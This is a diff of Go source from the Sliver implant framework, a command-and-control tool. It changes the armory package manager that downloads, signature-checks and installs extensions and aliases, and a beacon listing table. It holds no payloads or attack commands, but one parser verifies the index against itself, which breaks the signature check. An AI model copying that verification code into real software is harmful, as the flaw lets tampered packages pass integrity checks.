const maxDepDepth = 10 // Arbitrary recursive limit for dependencies
|
||||
|
||||
func resolveExtensionPackageDependencies(name string, deps map[string]struct{}, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) {
|
||||
var entry *pkgCacheEntry
|
||||
pkgCache.Range(func(key, value interface{}) bool {
|
||||
cacheEntry := value.(pkgCacheEntry)
|
||||
if cacheEntry.Pkg.CommandName == name {
|
||||
entry = &cacheEntry
|
||||
return false
|
||||
}
|
||||
return true
|
||||
})
|
||||
if entry == nil {
|
||||
return
|
||||
}
|
||||
|
||||
if entry.Extension.DependsOn == "" {
|
||||
return // Avoid adding empty dependency
|
||||
}
|
||||
|
||||
if entry.Extension.DependsOn == name {
|
||||
return // Avoid infinite loop of something that depends on itself
|
||||
}
|
||||
// We also need to look out for circular dependencies, so if we've already
|
||||
// seen this dependency, we stop resolving
|
||||
if _, ok := deps[entry.Extension.DependsOn]; ok {
|
||||
return // Already resolved
|
||||
}
|
||||
if maxDepDepth < len(deps) {
|
||||
return
|
||||
}
|
||||
deps[entry.Extension.DependsOn] = struct{}{}
|
||||
resolveExtensionPackageDependencies(entry.Extension.DependsOn, deps, clientConfig, con)
|
||||
}
|
||||
|
||||
func installExtensionPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) error {
|
||||
var entry *pkgCacheEntry
|
||||
pkgCache.Range(func(key, value interface{}) bool {
|
||||
cacheEntry := value.(pkgCacheEntry)
|
||||
if cacheEntry.Pkg.CommandName == name {
|
||||
entry = &cacheEntry
|
||||
return false
|
||||
}
|
||||
return true
|
||||
})
|
||||
if entry == nil {
|
||||
return errors.New("package not found")
|
||||
}
|
||||
repoURL, err := url.Parse(entry.RepoURL)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
con.PrintInfof("Downloading extension ...")
|
||||
|
||||
var sig *minisign.Signature
|
||||
var tarGz []byte
|
||||
if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
|
||||
sig, tarGz, err = pkgParser(&entry.Pkg, false, clientConfig)
|
||||
} else {
|
||||
sig, tarGz, err = DefaultArmoryPkgParser(&entry.Pkg, false, clientConfig)
|
||||
}
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
var publicKey minisign.PublicKey
|
||||
publicKey.UnmarshalText([]byte(entry.Pkg.PublicKey))
|
||||
rawSig, _ := sig.MarshalText()
|
||||
valid := minisign.Verify(publicKey, tarGz, []byte(rawSig))
|
||||
if !valid {
|
||||
return errors.New("signature verification failed")
|
||||
}
|
||||
|
||||
tmpFile, err := ioutil.TempFile("", "sliver-armory-")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer os.Remove(tmpFile.Name())
|
||||
_, err = tmpFile.Write(tarGz)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
err = tmpFile.Sync()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
con.Printf(console.Clearln + "\r") // Clear download message
|
||||
|
||||
installPath := extensions.InstallFromFilePath(tmpFile.Name(), true, con)
|
||||
if installPath == nil {
|
||||
return errors.New("failed to install extension")
|
||||
}
|
||||
extCmd, err := extensions.LoadExtensionManifest(filepath.Join(*installPath, extensions.ManifestFileName))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if extensions.CmdExists(extCmd.Name, con.App) {
|
||||
con.App.Commands().Remove(extCmd.Name)
|
||||
}
|
||||
extensions.ExtensionRegisterCommand(extCmd, con)
|
||||
return nil
|
||||
}
|
||||
@@ -1,467 +0,0 @@
|
||||
package armory
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"crypto/tls"
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"net"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"path"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/server/cryptography/minisign"
|
||||
)
|
||||
|
||||
// ArmoryIndexParser - Generic interface to fetch armory indexes
|
||||
type ArmoryIndexParser func(*assets.ArmoryConfig, ArmoryHTTPConfig) (*ArmoryIndex, error)
|
||||
|
||||
// ArmoryPackageParser - Generic interface to fetch armory package manifests
|
||||
type ArmoryPackageParser func(*ArmoryPackage, bool, ArmoryHTTPConfig) (*minisign.Signature, []byte, error)
|
||||
|
||||
var (
|
||||
indexParsers = map[string]ArmoryIndexParser{
|
||||
"api.github.com": GithubAPIArmoryIndexParser,
|
||||
}
|
||||
pkgParsers = map[string]ArmoryPackageParser{
|
||||
"api.github.com": GithubAPIArmoryPackageParser,
|
||||
"github.com": GithubArmoryPackageParser,
|
||||
}
|
||||
)
|
||||
|
||||
const (
|
||||
armoryIndexFileName = "armory.json"
|
||||
armoryIndexSigFileName = "armory.minisig"
|
||||
)
|
||||
|
||||
type armoryIndexResponse struct {
|
||||
Minisig string `json:"minisig"` // Minisig
|
||||
ArmoryIndex string `json:"armory_index"` // Base64 String
|
||||
}
|
||||
|
||||
type armoryPkgResponse struct {
|
||||
Minisig string `json:"minisig"` // Minisig
|
||||
TarGzURL string `json:"tar_gz_url"`
|
||||
}
|
||||
|
||||
//
|
||||
// Default Parsers for Self-Hosted Armories
|
||||
//
|
||||
|
||||
// DefaultArmoryParser - Parse the armory index directly from the url
|
||||
func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig) (*ArmoryIndex, error) {
|
||||
var publicKey minisign.PublicKey
|
||||
err := publicKey.UnmarshalText([]byte(armoryConfig.PublicKey))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
client := httpClient(clientConfig)
|
||||
resp, err := client.Get(armoryConfig.RepoURL)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
body, err := ioutil.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return nil, errors.New("api returned non-200 status code")
|
||||
}
|
||||
index := &armoryIndexResponse{}
|
||||
err = json.Unmarshal(body, index)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// Verify index is signed by trusted key
|
||||
valid := minisign.Verify(publicKey, []byte(index.ArmoryIndex), []byte(index.ArmoryIndex))
|
||||
if !valid {
|
||||
return nil, errors.New("invalid signature")
|
||||
}
|
||||
|
||||
armoryIndex := &ArmoryIndex{}
|
||||
armoryIndexData, err := base64.StdEncoding.DecodeString(index.ArmoryIndex)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
err = json.Unmarshal(armoryIndexData, armoryIndex)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return armoryIndex, nil
|
||||
}
|
||||
|
||||
// DefaultArmoryPkgParser - Parse the armory package manifest directly from the url
|
||||
func DefaultArmoryPkgParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
|
||||
var publicKey minisign.PublicKey
|
||||
err := publicKey.UnmarshalText([]byte(armoryPkg.PublicKey))
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
|
||||
client := httpClient(clientConfig)
|
||||
resp, err := client.Get(armoryPkg.RepoURL)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
body, err := ioutil.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return nil, nil, errors.New("api returned non-200 status code")
|
||||
}
|
||||
pkgResp := &armoryPkgResponse{}
|
||||
err = json.Unmarshal(body, pkgResp)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
sig, err := parsePkgMinsig([]byte(pkgResp.Minisig))
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
var tarGz []byte
|
||||
if !sigOnly {
|
||||
tarGzURL, err := url.Parse(armoryPkg.RepoURL)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
if tarGzURL.Scheme != "https" && tarGzURL.Scheme != "http" {
|
||||
return nil, nil, errors.New("invalid url scheme")
|
||||
}
|
||||
resp, err := client.Get(tarGzURL.String())
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
tarGz, err = ioutil.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return nil, nil, errors.New("api returned non-200 status code")
|
||||
}
|
||||
}
|
||||
return sig, tarGz, nil
|
||||
}
|
||||
|
||||
//
|
||||
// GitHub API Parsers
|
||||
//
|
||||
|
||||
type GithubAsset struct {
|
||||
ID int `json:"id"`
|
||||
Name string `json:"name"`
|
||||
URL string `json:"url"`
|
||||
Size int `json:"size"`
|
||||
|
||||
BrowserDownloadURL string `json:"browser_download_url"`
|
||||
}
|
||||
|
||||
type GithubRelease struct {
|
||||
ID int `json:"id"`
|
||||
Name string `json:"name"`
|
||||
URL string `json:"url"`
|
||||
HTMLURL string `json:"html_url"`
|
||||
TagName string `json:"tag_name"`
|
||||
Body string `json:"body"`
|
||||
Prerelease bool `json:"prerelease"`
|
||||
TarballURL string `json:"tarball_url"`
|
||||
ZipballURL string `json:"zipball_url"`
|
||||
CreatedAt string `json:"created_at"`
|
||||
PublishedAt string `json:"published_at"`
|
||||
Assets []GithubAsset `json:"assets"`
|
||||
}
|
||||
|
||||
// GithubAPIArmoryIndexParser - Parse the armory index from a GitHub release
|
||||
func GithubAPIArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig) (*ArmoryIndex, error) {
|
||||
var publicKey minisign.PublicKey
|
||||
err := publicKey.UnmarshalText([]byte(armoryConfig.PublicKey))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
client := httpClient(clientConfig)
|
||||
resp, err := client.Get(armoryConfig.RepoURL)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
body, err := ioutil.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
if resp.StatusCode == http.StatusForbidden {
|
||||
return nil, errors.New("you hit the github api rate limit (60 req/hr), try later")
|
||||
}
|
||||
return nil, errors.New("api returned non-200 status code")
|
||||
}
|
||||
|
||||
releases := []GithubRelease{}
|
||||
err = json.Unmarshal(body, &releases)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if len(releases) < 1 {
|
||||
return nil, errors.New("no releases found")
|
||||
}
|
||||
release := releases[0] // Latest only right now
|
||||
|
||||
var armoryIndexData []byte
|
||||
var sigData []byte
|
||||
for _, asset := range release.Assets {
|
||||
if asset.Name == armoryIndexFileName {
|
||||
resp, err := client.Get(asset.BrowserDownloadURL)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
armoryIndexData, err = ioutil.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
if asset.Name == armoryIndexSigFileName {
|
||||
resp, err := client.Get(asset.BrowserDownloadURL)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
sigData, err = ioutil.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Verify index is signed by trusted key
|
||||
valid := minisign.Verify(publicKey, armoryIndexData, sigData)
|
||||
if !valid {
|
||||
return nil, errors.New("invalid signature")
|
||||
}
|
||||
|
||||
armoryIndex := &ArmoryIndex{}
|
||||
err = json.Unmarshal(armoryIndexData, armoryIndex)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return armoryIndex, nil
|
||||
}
|
||||
|
||||
// GithubAPIArmoryPackageParser - Retrieve the minisig and tar.gz for an armory package from a GitHub release
|
||||
func GithubAPIArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
|
||||
var publicKey minisign.PublicKey
|
||||
err := publicKey.UnmarshalText([]byte(armoryPkg.PublicKey))
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
|
||||
client := httpClient(clientConfig)
|
||||
resp, err := client.Get(armoryPkg.RepoURL)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
body, err := ioutil.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
if resp.StatusCode == http.StatusForbidden {
|
||||
return nil, nil, errors.New("you hit the github api rate limit (60 req/hr), try later")
|
||||
}
|
||||
return nil, nil, errors.New("api returned non-200 status code")
|
||||
}
|
||||
|
||||
releases := []GithubRelease{}
|
||||
err = json.Unmarshal(body, &releases)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
release := releases[0] // Latest only right now
|
||||
|
||||
var sig *minisign.Signature
|
||||
var tarGz []byte
|
||||
for _, asset := range release.Assets {
|
||||
if asset.Name == fmt.Sprintf("%s.minisig", armoryPkg.CommandName) {
|
||||
var resp *http.Response
|
||||
resp, err = client.Get(asset.BrowserDownloadURL)
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
var body []byte
|
||||
body, err = ioutil.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
sig, err = parsePkgMinsig(body)
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
}
|
||||
if asset.Name == fmt.Sprintf("%s.tar.gz", armoryPkg.CommandName) && !sigOnly {
|
||||
var resp *http.Response
|
||||
resp, err = client.Get(asset.BrowserDownloadURL)
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
tarGz, err = ioutil.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
return sig, tarGz, err
|
||||
}
|
||||
|
||||
//
|
||||
// GitHub Parsers
|
||||
//
|
||||
|
||||
// GithubArmoryPackageParser - Uses github.com instead of api.github.com to download packages
|
||||
func GithubArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
|
||||
latestTag, err := githubLatestTagParser(armoryPkg, clientConfig)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
client := httpClient(clientConfig)
|
||||
|
||||
sigURL, err := url.Parse(armoryPkg.RepoURL)
|
||||
if err != nil {
|
||||
return nil, nil, fmt.Errorf("failed to parse armory pkg url '%s': %s", armoryPkg.RepoURL, err)
|
||||
}
|
||||
sigURL.Path = path.Join(sigURL.Path, "releases", "download", latestTag, fmt.Sprintf("%s.minisig", armoryPkg.CommandName))
|
||||
sigResp, err := client.Get(sigURL.String())
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
defer sigResp.Body.Close()
|
||||
if sigResp.StatusCode != http.StatusOK {
|
||||
return nil, nil, fmt.Errorf("failed to get signature for armory pkg '%s': %s", armoryPkg.RepoURL, sigResp.Status)
|
||||
}
|
||||
var body []byte
|
||||
body, err = ioutil.ReadAll(sigResp.Body)
|
||||
if err != nil {
|
||||
return nil, nil, fmt.Errorf("failed to read resp body '%s': %s", armoryPkg.RepoURL, err)
|
||||
}
|
||||
sig, err := parsePkgMinsig(body)
|
||||
if err != nil {
|
||||
return nil, nil, fmt.Errorf("failed to parse pkg sig '%s': %s", armoryPkg.RepoURL, err)
|
||||
}
|
||||
|
||||
var tarGz []byte
|
||||
if !sigOnly {
|
||||
tarGzURL, err := url.Parse(armoryPkg.RepoURL)
|
||||
if err != nil {
|
||||
return nil, nil, fmt.Errorf("failed to parse armory pkg url '%s': %s", armoryPkg.RepoURL, err)
|
||||
}
|
||||
tarGzURL.Path = path.Join(tarGzURL.Path, "releases", "download", latestTag, fmt.Sprintf("%s.tar.gz", armoryPkg.CommandName))
|
||||
tarGzResp, err := client.Get(tarGzURL.String())
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
defer tarGzResp.Body.Close()
|
||||
if tarGzResp.StatusCode != http.StatusOK {
|
||||
return nil, nil, fmt.Errorf("failed to get tar.gz for armory pkg '%s': %s", armoryPkg.RepoURL, tarGzResp.Status)
|
||||
}
|
||||
tarGz, err = ioutil.ReadAll(tarGzResp.Body)
|
||||
if err != nil {
|
||||
return nil, nil, fmt.Errorf("failed to read tar.gz body '%s': %s", armoryPkg.RepoURL, err)
|
||||
}
|
||||
}
|
||||
|
||||
return sig, tarGz, nil
|
||||
}
|
||||
|
||||
// We need to intercept the 302 redirect to determine the latest version tag
|
||||
func githubLatestTagParser(armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConfig) (string, error) {
|
||||
client := httpClient(clientConfig)
|
||||
client.CheckRedirect = func(req *http.Request, via []*http.Request) error {
|
||||
return http.ErrUseLastResponse
|
||||
}
|
||||
latestURL, err := url.Parse(armoryPkg.RepoURL)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("failed to parse armory pkg url '%s': %s", armoryPkg.RepoURL, err)
|
||||
}
|
||||
latestURL.Path = path.Join(latestURL.Path, "releases", "latest")
|
||||
latestRedirect, err := client.Get(latestURL.String())
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("http get failed armory pkg url '%s': %s", armoryPkg.RepoURL, err)
|
||||
}
|
||||
if latestRedirect.StatusCode != http.StatusFound {
|
||||
return "", fmt.Errorf("unexpected response status (wanted 302) '%s': %s", armoryPkg.RepoURL, latestRedirect.Status)
|
||||
}
|
||||
if latestRedirect.Header.Get("Location") == "" {
|
||||
return "", fmt.Errorf("no location header in response '%s'", armoryPkg.RepoURL)
|
||||
}
|
||||
latestLocationURL, err := url.Parse(latestRedirect.Header.Get("Location"))
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("failed to parse location header '%s'->'%s': %s",
|
||||
armoryPkg.RepoURL, latestRedirect.Header.Get("Location"), err)
|
||||
}
|
||||
pathSegments := strings.Split(latestLocationURL.Path, "/")
|
||||
for index, segment := range pathSegments {
|
||||
if segment == "tag" && index+1 < len(pathSegments) {
|
||||
return pathSegments[index+1], nil
|
||||
}
|
||||
}
|
||||
return "", errors.New("tag not found in location header")
|
||||
}
|
||||
|
||||
func parsePkgMinsig(data []byte) (*minisign.Signature, error) {
|
||||
var sig minisign.Signature
|
||||
err := sig.UnmarshalText(data)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if len(sig.TrustedComment) < 1 {
|
||||
return nil, errors.New("missing trusted comment")
|
||||
}
|
||||
return &sig, nil
|
||||
}
|
||||
|
||||
func httpClient(config ArmoryHTTPConfig) *http.Client {
|
||||
return &http.Client{
|
||||
Timeout: config.Timeout,
|
||||
Transport: &http.Transport{
|
||||
Dial: (&net.Dialer{
|
||||
Timeout: config.Timeout,
|
||||
}).Dial,
|
||||
|
||||
Proxy: http.ProxyURL(config.ProxyURL),
|
||||
|
||||
TLSHandshakeTimeout: config.Timeout,
|
||||
TLSClientConfig: &tls.Config{
|
||||
InsecureSkipVerify: config.DisableTLSValidation,
|
||||
},
|
||||
},
|
||||
}
|
||||
}
|
||||
@@ -1,65 +0,0 @@
|
||||
package armory
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"regexp"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/alias"
|
||||
"github.com/bishopfox/sliver/client/command/extensions"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// ArmorySearchCmd - Search for packages by name
|
||||
func ArmorySearchCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintInfof("Refreshing package cache ... ")
|
||||
clientConfig := parseArmoryHTTPConfig(ctx)
|
||||
refresh(clientConfig)
|
||||
con.Printf(console.Clearln + "\r")
|
||||
rawNameExpr := ctx.Args.String("name")
|
||||
if rawNameExpr == "" {
|
||||
con.PrintErrorf("Please specify a search term!\n")
|
||||
return
|
||||
}
|
||||
nameExpr, err := regexp.Compile(rawNameExpr)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Invalid regular expression: %s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
aliases, exts := packagesInCache()
|
||||
matchedAliases := []*alias.AliasManifest{}
|
||||
for _, a := range aliases {
|
||||
if nameExpr.MatchString(a.CommandName) {
|
||||
matchedAliases = append(matchedAliases, a)
|
||||
}
|
||||
}
|
||||
matchedExts := []*extensions.ExtensionManifest{}
|
||||
for _, ext := range exts {
|
||||
if nameExpr.MatchString(ext.CommandName) {
|
||||
matchedExts = append(matchedExts, ext)
|
||||
}
|
||||
}
|
||||
if len(matchedAliases) == 0 && len(matchedExts) == 0 {
|
||||
con.PrintInfof("No packages found matching '%s'\n", rawNameExpr)
|
||||
return
|
||||
}
|
||||
PrintArmoryPackages(matchedAliases, matchedExts, con)
|
||||
}
|
||||
@@ -1,112 +0,0 @@
|
||||
package armory
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"io/ioutil"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command/alias"
|
||||
"github.com/bishopfox/sliver/client/command/extensions"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// ArmoryUpdateCmd - Update all installed extensions/aliases
|
||||
func ArmoryUpdateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintInfof("Refreshing package cache ... ")
|
||||
clientConfig := parseArmoryHTTPConfig(ctx)
|
||||
refresh(clientConfig)
|
||||
con.Printf(console.Clearln + "\r")
|
||||
|
||||
// Aliases
|
||||
aliasUpdates := checkForAliasUpdates(clientConfig, con)
|
||||
if 0 < len(aliasUpdates) {
|
||||
con.PrintInfof("%d alias(es) out of date: %s\n", len(aliasUpdates), strings.Join(aliasUpdates, ", "))
|
||||
for _, aliasName := range aliasUpdates {
|
||||
err := installAliasPackageByName(aliasName, clientConfig, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to update %s: %s\n", aliasName, err)
|
||||
}
|
||||
}
|
||||
} else {
|
||||
con.PrintInfof("All aliases up to date!\n")
|
||||
}
|
||||
|
||||
// Extensions
|
||||
extUpdates := checkForExtensionUpdates(clientConfig, con)
|
||||
if 0 < len(extUpdates) {
|
||||
con.PrintInfof("%d extension(s) out of date: %s\n", len(extUpdates), strings.Join(extUpdates, ", "))
|
||||
for _, extName := range extUpdates {
|
||||
err := installExtensionPackageByName(extName, clientConfig, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to update %s: %s\n", extName, err)
|
||||
}
|
||||
}
|
||||
} else {
|
||||
con.PrintInfof("All extensions up to date!\n")
|
||||
}
|
||||
}
|
||||
|
||||
func checkForAliasUpdates(clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) []string {
|
||||
cachedAliases, _ := packagesInCache()
|
||||
results := []string{}
|
||||
for _, aliasManifestPath := range assets.GetInstalledAliasManifests() {
|
||||
data, err := ioutil.ReadFile(aliasManifestPath)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
localManifest, err := alias.ParseAliasManifest(data)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for _, latestAlias := range cachedAliases {
|
||||
// Right now we don't try to enforce any kind of versioning, it is assumed if the version from
|
||||
// the armory differs at all from the local version, the extension is out of date.
|
||||
if latestAlias.CommandName == localManifest.CommandName && latestAlias.Version != localManifest.Version {
|
||||
results = append(results, localManifest.CommandName)
|
||||
}
|
||||
}
|
||||
}
|
||||
return results
|
||||
}
|
||||
|
||||
func checkForExtensionUpdates(clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) []string {
|
||||
_, cachedExtensions := packagesInCache()
|
||||
results := []string{}
|
||||
for _, extManifestPath := range assets.GetInstalledExtensionManifests() {
|
||||
data, err := ioutil.ReadFile(extManifestPath)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
localManifest, err := extensions.ParseExtensionManifest(data)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for _, latestExt := range cachedExtensions {
|
||||
// Right now we don't try to enforce any kind of versioning, it is assumed if the version from
|
||||
// the armory differs at all from the local version, the extension is out of date.
|
||||
if latestExt.CommandName == localManifest.CommandName && latestExt.Version != localManifest.Version {
|
||||
results = append(results, localManifest.CommandName)
|
||||
}
|
||||
}
|
||||
}
|
||||
return results
|
||||
}
|
||||
@@ -31,7 +31,7 @@ import (
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"golang.org/x/term"
|
||||
"golang.org/x/crypto/ssh/terminal"
|
||||
)
|
||||
|
||||
// BeaconsCmd - Display/interact with beacons
|
||||
@@ -92,14 +92,14 @@ func PrintBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient)
|
||||
}
|
||||
|
||||
func renderBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient) table.Writer {
|
||||
width, _, err := term.GetSize(0)
|
||||
width, _, err := terminal.GetSize(0)
|
||||
if err != nil {
|
||||
width = 999
|
||||
}
|
||||
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
if con.Settings.SmallTermWidth < width {
|
||||
if 182 < width {
|
||||
tw.AppendHeader(table.Row{
|
||||
"ID",
|
||||
"Name",
|
||||
@@ -134,13 +134,13 @@ func renderBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient)
|
||||
nextCheckin := time.Unix(beacon.NextCheckin, 0)
|
||||
var next string
|
||||
if time.Unix(beacon.NextCheckin, 0).Before(time.Now()) {
|
||||
past := time.Since(nextCheckin)
|
||||
past := time.Now().Sub(nextCheckin)
|
||||
next = fmt.Sprintf("%s-%s%s", console.Bold+console.Red, past, console.Normal)
|
||||
} else {
|
||||
eta := time.Until(nextCheckin)
|
||||
eta := nextCheckin.Sub(time.Now())
|
||||
next = fmt.Sprintf("%s%s%s", console.Bold+console.Green, eta, console.Normal)
|
||||
}
|
||||
if con.Settings.SmallTermWidth < width {
|
||||
if 182 < width {
|
||||
tw.AppendRow(table.Row{
|
||||
fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
|
||||
@@ -150,7 +150,7 @@ func renderBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient)
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Hostname),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Username),
|
||||
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
|
||||
fmt.Sprintf(color+"%s ago"+console.Normal, time.Since(time.Unix(beacon.LastCheckin, 0))),
|
||||
fmt.Sprintf(color+"%s ago"+console.Normal, time.Now().Sub(time.Unix(beacon.LastCheckin, 0))),
|
||||
next,
|
||||
})
|
||||
} else {
|
||||
@@ -160,7 +160,7 @@ func renderBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient)
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
|
||||
